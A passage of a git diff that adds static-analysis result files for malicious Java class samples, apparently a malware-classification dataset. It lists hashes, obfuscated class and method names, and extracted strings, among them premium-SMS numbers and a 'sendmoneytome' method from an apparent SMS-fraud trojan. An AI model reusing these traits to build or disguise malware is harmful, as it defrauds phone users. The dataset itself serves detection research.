"entropy": 6.251142323589654, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4187, "ssdeep": "96:Zqm0FZlnoSxEsl3DpZFGFQuXTN0SDBq3RB0VSMLDV:pUboS93BWQEIgwMLDV", "sha256": "872b9daae6790e397a2bfd125c021857f0e7eef3b122b93c368cd4a1d06cf6b1", "md5": "5a01f9b77b83b950d234d13a93d1bbde", "parent_sha256": "872b9daae6790e397a2bfd125c021857f0e7eef3b122b93c368cd4a1d06cf6b1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06.results b/java_classification/data/malicious/875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06.results new file mode 100755 index 0000000..ac9cb3e --- /dev/null +++ b/java_classification/data/malicious/875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "Craigslist_Updater$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "Craigslist_Updater.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 102}}, "_id": "3ed29217-d721-4ff8-83cc-a8350cb401f6", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "GoTo"}}}, "constant strings": ["DirectLink", "ServerName", "DownloadFolder", "\\\\", "GoTo"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0e55250eafd7e76c6991907f61d9389bf1670822", "file_name": "java_malicious/875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06", "_id": "3ed29217-d721-4ff8-83cc-a8350cb401f6", "score": 0, "entropy": 5.558759707376443, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1509, "ssdeep": "24:LYLPC2/XdulXGGPthHhdz3pB7Kqkq9zAEei9JhWMb1lF4CuQb6y4lScIdbQ7W00l:LYLPdvclhPtxhJZBpkcz4eJhPb1T4CDJ", "sha256": "875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06", "md5": "d52ee81c864ddb0a1526a3d84bf6ca06", "parent_sha256": "875d72ff54e14146c66ae11981c91a46da8630fa3151e6bac192a65a7886cf06"}} \ No newline at end of file diff --git a/java_classification/data/malicious/878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9.results b/java_classification/data/malicious/878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9.results new file mode 100755 index 0000000..73c645f --- /dev/null +++ b/java_classification/data/malicious/878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "Zneec3rw", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Zneec3rw.java", "method_names": ["readObject", "my1getConstructor", "myZ1adm6mkhzgc0em", "findClass", "dy9nv250z", ""], "minor_version": 0, "const_pool_count": 245}}, "_id": "d0a5b8b1-bba1-4c46-8a12-053923d30d86", "verbose": {"java": {"constant strings": ["5JHfgdFF", "786G6vvvbnh", "O5zh0utq3", "984599388556", "645689_gout", "yellloeour", "sooofnntyrity", "dfhsdkjdsff", "1", "Np6kkdlj", "stygopiwert", "velopoyut", "1001", "s", "wdop", "awiert giotrede", "8fy7huddjfhdfjdddd", "9w8eyhfisd", "awiert giorte", "zooetsrdtt qvvrveww", "neeeeo", ".class", "sewyro portrewry", "awert opeppre", "", "00546754674338485", "52434255252332554", "sertybbeerty opre tt", "morning", "123", "trololo", "88326523", "Avast 5", "G Data - A great resource for penetration testers, vulnerability researchers"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0a3982c687fa37db0d2d6d0af7f5cc3f142c2be6", "file_name": "java_malicious/878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9", "_id": "d0a5b8b1-bba1-4c46-8a12-053923d30d86", "score": 0, "entropy": 5.883994299209294, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4466, "ssdeep": "48:xOUH4tkkG/FEQl3ojBikdJv1bPxzR4bL4ZsGg3WAVEf4UCaxxsSt9Fk4jTsMFtwt:S1OFEQlY0kHhPxN43WNJVMusMFtwJb/", "sha256": "878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9", "md5": "172c4353b7989665106ff26d794a837a", "parent_sha256": "878149152887b05c83c7f5052abb15b52da0c67a267b47b5486aa06485bbe2c9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd.results b/java_classification/data/malicious/88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd.results new file mode 100755 index 0000000..5d63fcc --- /dev/null +++ b/java_classification/data/malicious/88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/grdbyfqkdzr", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["qqsotpmyauyrpjbogl", "", "zsgulgysfmurhava", "wzseqkziflqmrjrzkb", "iyntcmnrtyfhlcmrzq", "hcbnjgdnnedsxhngz", "ztjthkdankcwkvd", "kedlnfsnlxietnstqq", "sbwnirogsqjqjbkl", "rjbyyektwwhzqwv", "awnoofmgvarbijkf", "llvwhgrr", "rlvgtilqvgssyihnept", "yafmflryqekbnic", "hqmwsyzudiiffjeguw", "yrqdagwqsulusiublh", "epxpbxmagibqmlbafid", "ydddbhhdd", "cbenknxytqiemvg", "tkqwhczzuluoktflcin", "idhodtezascedvrptzj", "zcarvjvdogvehuvjbza", "xwcidfjwkpzooewhm", "cdqxhpmdnmzwiqitn", "pxymrzqjihvvhwys", "jmrqgwdnoejsstx", "nstcqnrxvlxcvpmk", "eaeovdjnfvhzvzmmm", "zdaptajutjxddvntgzs", "vlgfxgmcbdwkonvcfwr", "dtwuscciryzbtra", "yfskpwbnlwosugxk", "vntoxoojgtxrlmrsv", "wdcpzfdbawljdbywvjb", "rnltlxftxzdfbgjfyyh", "aobeycvteroyizr", "vpgxibtrrtxgeszh", "gqtdbttcrgtzeml", "jgoiqlckypeaqxeefba", "oiqcdhwakegiphh", "ykqrpkznyodqrhxbog", "hiopqippyaomapcwjms", "mkabcteovnnisudet", "fclvnueptrcgihcv", "hfwlibchujygeftjwab", "rtodogzuxeqjmqpcod", "ufwutfaecpptmmxfw", "hsjacsyclvfyckwqiz", "vpopadmdgryxwrhxpe", "vfefgjdeejjosbyvc", "jyiehevchyhnwngwcc", "cjuydzstooemqqxng", "efsvxqxnttgxmzttih"], "minor_version": 0, "const_pool_count": 1039}}, "_id": "f0f54726-9487-4f41-abce-779ce57f6dfb", "verbose": {"java": {"constant strings": ["kmybypviutzl", "aimx", "qxq", "zsi", "sypedkfiblyjuimadvedd", "bkmvusnestmnpahwfo", "pocopug", "mxxahccgxizkkdcwyittocrkcyvgkb", "", "pufqldayac", "gsnzrpzbuibhoabthuw", "zeenspckpshbwgihlxcdyqpvbf", "hvdemgzvhmbwmbhbeohtys", "abqixptoqdppgri", "tbacdekbqqvdnxppave", "vtesuudvbjvanulqjawoe", "kstdywddocenid", "tjz", "yzwpikekyjqvvdhlwbvwdmoivebj", "btezyigkccxvr", "mxudyjokrsyajelbdaim", "qzkgwxhbayywzbasmyrckvmjmgsoc", "smto", "pulwru", "sbjwfuiqaocgvjaq", "ppywreypf", "sknhihmrvcwmvxnghmsfjkelfqwy", "fyekmnieewop", "vconqzaegeyiqbvzjlnpwk", "yahzp", "sfbvidsvijpodqgufpdiimhxufi", "oxcktovduaxnd", "axctylumnewstiivsk", "qmroeezraqhieuhkmcom", "oobgty", "voqvbuzcyhyglimbkaoaqpg", "o", "cfcanlcv", "lltlrxikuugocqztyym", "zehpxetpoytrkaqcovhd", "tmytpwzfzzuapeju", "usllzhdsq", "hencbdfeipg", "zkhyeihinwl", "oggeg", "nyqc", "au", "uobkxgdvghudymhatuibbrkbytxn", "lkcxjlnfr", "fakxrhbhtpkfco", "xiirigdkkldsiqirmousecbux", "nibcgerwkbhrn", "stc", "xomxttcvqdvctflvczyk", "huntenqrggbhkqxkdtkhf", "yoalxzjclooafophfakenazd", "qg", "cw", "cfbxqythuetzzc", "dixfecjuauftynhvr", "skpvkunogkhzmplx", "opaxytshjusj", "gmymfgt", "xim", "zljoif", "avegdjbiruofp", "tbdjdegvax", "qslrrtiahrdusvweftcsfnb", "fldotppacwcj", "wpt", "oc", "scvfzzdlswgaoax", "afzurbclcithnwvmt", "ibkskxqmjovbigmrybaer", "cssjyvrvltvcatbeav", "sqbgqveozuwirdrkbdm", "mozaihozsvfiofuclztbcpsqv", "acqwx", "delfnfwysaoagwctrkuf", "hzobqnaztmitshyhhufgvybvgvjo", "pmuqqbhjikxsxaynjtijaqwjbxwl", "zlbgckfdvpuyysslivjpdi", "qsxcugpkxkqsnxvpzyoabzxhrov", "wlmrrynodyseqvyz", "epmkowltgwjdoecndzlkv", "yczbykhfmfsgoqo", "cmzfbphcymd", "yuaksjdosutcv", "qhyemfqoxxjbfrjnpnuciuspge", "cohtmevncmccndneaxugwhtzgjemm", "czriagylcltpggyureaw", "lhfalyimjpdqnuhbpcnrfwb", "mgaug", "fxxhn", "acxrggdjgzfynfgeamwu", "rmmuwxlwoctqjvwuicnmtnhhsujxp", "crtomzlldxgjzmrbwypetf", "mnnojaccdlmoo", "ktacofqcuqpobwdjvy", "irucszrg", "ddmkcaylxkpnzu", "yozbcxdxxfzdynsvfuwednm", "owsbxoins", "ovonlvfdnnuzpblzwdnemjpy", "usxdkgginvtfgyioqycnx", "xkjbezjnmyspq", "imdflyjlxtyuumrynigchcghtxnew", "divqosfsrvcvnkjietsh", "napftfdcdz", "dt", "bvpyhffzgngosnhfndxtu", "q", "lttovpqlluofmwssiitkpnunajdgt", "fnunladsyjdljywsqlrgguihjgdbn", "mdlxxvajzkwkwkzbbwumnqjifps", "fnueczuwcywlcdcx", "ruvlhqxxeqjivfbgrxswfgdkzs", "imlfwnst", "ydlqelgt", "vywxtyfgjtpplplyhbkrbxnghlisn", "zatoudqgivwbsi", "lpyemxfwfbywqo", "ujkprzxsqfnhoqxjhppw", "oczkzigxqxtngejjkteqhyqzwtpdn", "i", "tpsbrzqrmt", "rqjgjwdawxzvduunsv", "lhktfbazbizjngwpemrdhrcmjldmg", "zidsmhmdzdedjlmx", "tecppnlgldcioeev", "kwdsynaxacmyhjkuna", "zmqpsy", "prixykcslbbgkhldxmyty", "fbxabrommnbxgblsnefgfmcfrm", "ivsbczjanzvtwg", "jegecvxadvmfwmivxdueeil", "bhctavztduqlwznuf", "kdfljn", "bwdocqdadjwfkfbmjtoqkei", "mfqtxysqyn", "sfwqihcotibpmisfl", "fljnveebqhjxvsuodnezviehm", "bfxiillapkjibefblyfqfnftbek", "lkoywpatluplfkzgxrq", "ggefhzcusapbn", "bo", "qbxbhtbekymvbdqnttq", "ou", "kscalxisdk", "wzlhqodzgjwlrcqu", "issuadswquqynkgsghbuvpzqnziuz", "vhhfjevoznbxyiknx", "spbynqia", "cteigvmmumnxssdtdkhiw", "ggmiiu", "vlcx", "fgpzncpilpezzoefbc", "kwkrtstqohtemmfzuij", "yivcipcuo", "lzqlpvoyggcfs", "ysryuioedqmbthlceqrgxr", "tnffheqbjvucjymjgivabf", "pmhawoxsnnkvrw", "bezudoyjrxtaupgjwckimpdjhbfpn", "c", "mawmcdcrqbjzmsweonlxgixmjus", "isdkwefgotepa", "j", "jfn", "phjoacvrmpcasxwifxudrxhgipgk", "lci", "jjeszlhzrwwmqlaybl", "ciiyimiqwdxbafwhhk", "fnk", "mdhudglkm", "cintccqfovqzrdoncagj", "rldmziss", "zfefcwqryeug", "zywyirhmzpnqiwtgrbcmsmiyaihwlt", "tdpurppypbrfvrpbomeovekpjqi", "cuxtiozxdawdcunferbrhab", "v", "udznxukbukutvof", "cqdjqtyg", "viyxwyjwpycjwgmbevcr", "noej", "henmzttctuvhqtpywvpn", "moavhniupswcmr", "ozbzwejiouzw", "vzmwgnogzntiskxidfgflhhdilnz", "mdodmoo", "nihovjnldzgywlitperifn", "ounexwvh", "ppxojbeeop", "znnkpxigochpzekqleldpl", "yykgsiikggqbdktgkulbafrgt", "tzaevtnbkg", "hzylimiskye", "felurwuwp", "bsgl", "qumaygjfvdmmlrjpegrbpwcug", "fpdfxyuhikawbazv", "zxyqtlijsfweyfspjlmn", "rxysniqkpotof", "oqofmtdiiipqhyizpqgqdvft", "aklujzotffwcvwha", "maxqygzzspacjzuae", "gcntbrjmvkmjyjmzs", "wilpzfoi", "lhvkmayavyygtldlfzolhovndxtus", "rjkmfbutqryoxqas", "mqgkyfzfttkjn", "lbn", "iw", "vvoefknujmpmmmishfxpkbhe", "chjyerbtjq", "hqblaaweroutgjfa", "oswrxjrjltjswaamyjoczejkolem", "ldsaqtfaorxnywwfqdckr", "lbvmhedv", "prmjbfllqbu", "ooxepsvlatm", "rmtqruiixezip", "nanxxcea", "twvkqboixfj", "bwrpeiqojmyafxdv", "smzkbyflbb", "krfuriicbog", "tekmthbaxfhdqml", "pzultvildghphhzpxdr", "pabakdtzuyeoeocufzgsvm", "uvmatcrzmm", "yswvwrqlmvzadsgahlzoqyvqp", "s", "ugjoptixjwkqvgggcwqliuvm", "wzdtbqrmucppkbegbrersfhhnie", "plmipjxjbyumtksdtj", "sccwyrbjsdcx", "bjcvhojdwajsvxp", "xrqjwgtb", "ktperdxkl", "sudbhknrpgo", "gmvvmzvaqpbmymjlj", "uofincdujxztdwrqonx", "dcugbawutumbewspo", "pcj", "cbuzwxssftwully", "rrhkpdflo"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "80205d7a02c98e2fb811f15c0ea8f1945e59c037", "file_name": "java_malicious/88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd", "_id": "f0f54726-9487-4f41-abce-779ce57f6dfb", "score": 0, "entropy": 5.998003947898216, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 24353, "ssdeep": "384:3jc5D4M+R+7CZupPjIEJBu5lnaagiiBpaHu7g9OTJVhuVHLu/YGN2eQfE/590vxv:3jexeLyBu5lnariip0rTIbJE", "sha256": "88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd", "md5": "0f6ce31a8246814a7d5b91b0d40aeaaf", "parent_sha256": "88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1.results b/java_classification/data/malicious/891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1.results new file mode 100755 index 0000000..6f4f8e1 --- /dev/null +++ b/java_classification/data/malicious/891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "ia/classprotect/Start", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "a", ""], "minor_version": 3, "const_pool_count": 106}}, "_id": "901ca76f-97d2-4679-9c43-ee624bc604cd", "verbose": {"java": {"constant strings": ["\\x1fI=w#\\x17[`d=\\x19\\\\vw;X{gu=\\x02", "\\x1fI=|", "\\x1bIzz"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "532be79259b7acecf72a338ab7cff82f0797e00c", "file_name": "java_malicious/891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1", "_id": "901ca76f-97d2-4679-9c43-ee624bc604cd", "score": 0, "entropy": 5.644563592144488, "libmagic": "compiled Java class data, version 45.3", "file_size": 1681, "ssdeep": "48:ZK9MyypPzrxZ6cHwAQ312C+PVEXugRX0E:KOZrn6gNE+gKE", "sha256": "891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1", "md5": "f2fc2935f93478d5fba511ad07806651", "parent_sha256": "891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802.results b/java_classification/data/malicious/8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802.results new file mode 100755 index 0000000..ed0b7eb --- /dev/null +++ b/java_classification/data/malicious/8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "M", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "major_version": 45, "method_names": ["", "paint", "run", "keyPressed", "keyReleased", "mainmenu", "mainmenu3", "mainmenu2", "sendmoneytome", "prover", "R"], "minor_version": 3, "const_pool_count": 369}}, "_id": "6aaddec8-1c33-4f77-9563-10ea016e91b5", "verbose": {"java": {"constant strings": ["p:104 n:9312173659", "p:55 n:9312173677", "p:22 n:9232441167", "\\xd0\\x92\\xd1\\x8b\\xd1\\x85\\xd0\\xbe\\xd0\\xb4", "\\xd0\\x94\\xd0\\xb0", "\\xd0\\x9f\\xd1\\x80\\xd0\\xbe\\xd1\\x81\\xd0\\xbc\\xd0\\xbe\\xd1\\x82\\xd1\\x80\\xd0\\xb5\\xd1\\x82\\xd1\\x8c MMS \\xd1\\x81\\xd0\\xbe\\xd0\\xbe\\xd0\\xb1\\xd1\\x89\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 ?", "", "\\xd0\\x95\\xd1\\x89\\xd0\\xb5", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0! \\xd0\\x9f\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd0\\xb5\\xd1\\x89\\xd0\\xb5 \\xd1\\x80\\xd0\\xb0\\xd0\\xb7.", "sms://8464", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 0kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 2kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 5kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 9kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 12kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 15kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 19kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 21kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 22kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 25kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 27kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 28kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 30kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 33kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 35kb", "sms5", "sms_d5", "12", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0!\\xd0\\x9d\\xd0\\xb0 \\xd1\\x81\\xd0\\xb5\\xd1\\x80\\xd0\\xb2\\xd0\\xb5\\xd1\\x80\\xd0\\xb5 \\xd1\\x82\\xd0\\xb5\\xd1\\x85\\xd0\\xbd\\xd0\\xb8\\xd1\\x87\\xd0\\xb5\\xd1\\x81\\xd0\\xba\\xd0\\xb8\\xd0\\xb5 \\xd1\\x80\\xd0\\xb0\\xd0\\xb1\\xd0\\xbe\\xd1\\x82\\xd1\\x8b.\\xd0\\x9f\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd1\\x87\\xd0\\xb5\\xd1\\x80\\xd0\\xb5\\xd0\\xb7 30-60 \\xd0\\xbc\\xd0\\xb8\\xd0\\xbd.", "sms://844471", "\\xd0\\x98\\xd0\\xb7\\xd0\\xb2\\xd0\\xb8\\xd0\\xbd\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd1\\x81\\xd0\\xb5\\xd1\\x80\\xd0\\xb2\\xd0\\xb5\\xd1\\x80 \\xd0\\xbd\\xd0\\xb5 \\xd0\\xb4\\xd0\\xbe\\xd1\\x81\\xd1\\x82\\xd1\\x83\\xd0\\xbf\\xd0\\xb5\\xd0\\xbd.\\xd0\\x9f\\xd0\\xbe\\xd0\\xbf\\xd1\\x80\\xd0\\xbe\\xd0\\xb1\\xd1\\x83\\xd0\\xb9\\xd1\\x82\\xd0\\xb5 \\xd0\\xbf\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd1\\x8c \\xd1\\x87\\xd0\\xb5\\xd1\\x80\\xd0\\xb5\\xd0\\xb7 24 \\xd1\\x87\\xd0\\xb0\\xd1\\x81\\xd0\\xb0. "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8233739d41b61e84f3915471cdf2ae58542d6533", "file_name": "java_malicious/8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802", "_id": "6aaddec8-1c33-4f77-9563-10ea016e91b5", "score": 0, "entropy": 5.92854069564493, "libmagic": "compiled Java class data, version 45.3", "file_size": 9030, "ssdeep": "96:7eiHN1wmExt1XH/YRZFn/KZqsZb0SqpIEfjqTCa2XE0TqTCa2IHj2qTCa2JRHcqL:RHj/EtAL9yZDtHgTU0PTIDoTJRHbL", "sha256": "8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802", "md5": "c1eed4d43435cb6e1c20c622f54ff204", "parent_sha256": "8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8ab1ab80c9d43f8b1a80feb9bd18d1b5300788e9cecbcbc1f87f73fd02c462ad.results b/java_classification/data/malicious/8ab1ab80c9d43f8b1a80feb9bd18d1b5300788e9cecbcbc1f87f73fd02c462ad.results new file mode 100755 index 0000000..7173683 --- /dev/null +++ b/java_classification/data/malicious/8ab1ab80c9d43f8b1a80feb9bd18d1b5300788e9cecbcbc1f87f73fd02c462ad.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "x/e", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "g"], "minor_version": 0, "const_pool_count": 326}}, "_id": "a84da4af-3c36-4ed8-96e8-96eebfbafbdd", "metadata": {"mimetype": "application/x-java-applet", "sha1": "5b8d2028f4279bf73961f266a6fd7b883e2499cb", "file_name": "java_malicious/8ab1ab80c9d43f8b1a80feb9bd18d1b5300788e9cecbcbc1f87f73fd02c462ad", "_id": "a84da4af-3c36-4ed8-96e8-96eebfbafbdd", "score": 0, "entropy": 3.794418192520426, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 28330, "ssdeep": "192:P0VFUpOrTts/NFLxFQASurG8GGFGGGBGGGGIGGGGGLGGGGGGzGGGGGGGUGGGGGG6:8VK+CLjQGy6", "sha256": "8ab1ab80c9d43f8b1a80feb9bd18d1b5300788e9cecbcbc1f87f73fd02c462ad", "md5": "0a6555e7be9a3e78bc74cd244cc3cb22", "parent_sha256": "8ab1ab80c9d43f8b1a80feb9bd18d1b5300788e9cecbcbc1f87f73fd02c462ad"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8ac92e6d16f1e63f076eba78f0191adfe7d021325260c0fa5fe5aa92064601d4.results b/java_classification/data/malicious/8ac92e6d16f1e63f076eba78f0191adfe7d021325260c0fa5fe5aa92064601d4.results new file mode 100755 index 0000000..3008738 --- /dev/null +++ b/java_classification/data/malicious/8ac92e6d16f1e63f076eba78f0191adfe7d021325260c0fa5fe5aa92064601d4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IigkH.java", "class_name": "JGXgwWYpp/IigkH", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "SsOrpIEdA", "AfOgX", "NRFMoBEUI", "vfMyHx", "ThEbOywr", "QSKkO", "QvUga"], "minor_version": 0, "const_pool_count": 250}}, "_id": "c6a19472-1343-4264-8466-f2fac0a6eef8", "verbose": {"java": {"constant strings": ["elementFromComplex", "\\x06\\r\\x1a\\rB\\xc0\\x80\\r\\x02\\x0bB#\\x0e\\x06\\t\\x0f\\x18\\x06\\r\\x1a\\rB\\xc0\\x80\\r\\x02\\x0bB?\\x18\\x1e\\x05\\x02\\x0b", "\\x08\\t\\x0f\\xc0\\x80\\r\\x1e\\t\\x08!\\t\\x18\\x04\\x03\\x08\\x1f", "\\x0f\\x03\\x01B\\x1f\\x19\\x02B\\x06\\x01\\x14B\\x01\\x0e\\t\\r\\x02\\x1f\\t\\x1e\\x1a\\t\\x1eB&\\x01\\x14!.\\t\\r\\x02?\\t\\x1e\\x1a\\t\\x1e", "\\x02\\t\\x1b!.\\t\\r\\x02?\\t\\x1e\\x1a\\t\\x1e", "\\x06\\r\\x1a\\rB\\xc0\\x80\\r\\x02\\x0bB?\\x18\\x1e\\x05\\x02\\x0b\\x06\\r\\x1a\\r\\x14B\\x01\\r\\x02\\r\\x0b\\t\\x01\\t\\x02\\x18B!.\\t\\r\\x02?\\t\\x1e\\x1a\\t\\x1e\\x06\\r\\x1a\\r\\x14B\\x01\\r\\x02\\r\\x0b\\t\\x01\\t\\x02\\x18B!.\\t\\r\\x02?\\t\\x1e\\x1a\\t\\x1e(\\t\\xc0\\x80\\t\\x0b\\r\\x18\\t\\x0e\\x03\\x03\\xc0\\x80\\t\\r\\x02", "", "\\x0b\\t\\x18!.\\t\\r\\x02%\\x02\\x1f\\x18\\r\\x02\\x18\\x05\\r\\x18\\x03\\x1e", "\\n\\x05\\x02\\x08/\\xc0\\x80\\r\\x1f\\x1f", "\\x06\\r\\x1a\\rB\\xc0\\x80\\r\\x02\\x0bB?\\x18\\x1e\\x05\\x02\\x0b\\x06\\r\\x1a\\rB\\xc0\\x80\\r\\x02\\x0bB/\\xc0\\x80\\r\\x1f\\x1f \\x03\\r\\x08\\t\\x1e", "\\x1f\\x19\\x02B\\x03\\x1e\\x0bB\\x01\\x03\\x16\\x05\\xc0\\x80\\xc0\\x80\\rB\\x06\\r\\x1a\\r\\x1f\\x0f\\x1e\\x05\\x1c\\x18B\\x05\\x02\\x18\\t\\x1e\\x02\\r\\xc0\\x80B/\\x03\\x02\\x18\\t\\x14\\x18", "\\x1f\\x19\\x02B\\x03\\x1e\\x0bB\\x01\\x03\\x16\\x05\\xc0\\x80\\xc0\\x80\\rB\\x06\\r\\x1a\\r\\x1f\\x0f\\x1e\\x05\\x1c\\x18B\\x05\\x02\\x18\\t\\x1e\\x02\\r\\xc0\\x80B+\\t\\x02\\t\\x1e\\r\\x18\\t\\x08/\\xc0\\x80\\r\\x1f\\x1f \\x03\\r\\x08\\t\\x1e", "\\x0f\\x03\\x01B\\x1f\\x19\\x02B\\x06\\x01\\x14B\\x01\\x0e\\t\\r\\x02\\x1f\\t\\x1e\\x1a\\t\\x1eB%\\x02\\x18\\x1e\\x03\\x1f\\x1c\\t\\x0f\\x18\\x03\\x1e", "\\t\\x02\\x18\\t\\x1e", "\\x0f\\x1e\\t\\r\\x18\\t/\\xc0\\x80\\r\\x1f\\x1f \\x03\\r\\x08\\t\\x1e", "\\x08\\t\\n\\x05\\x02\\t/\\xc0\\x80\\r\\x1f\\x1f", "\\x05\\x07\\x07.;\\x1d\\x0f-B\\x0f\\xc0\\x80\\r\\x1f\\x1f", 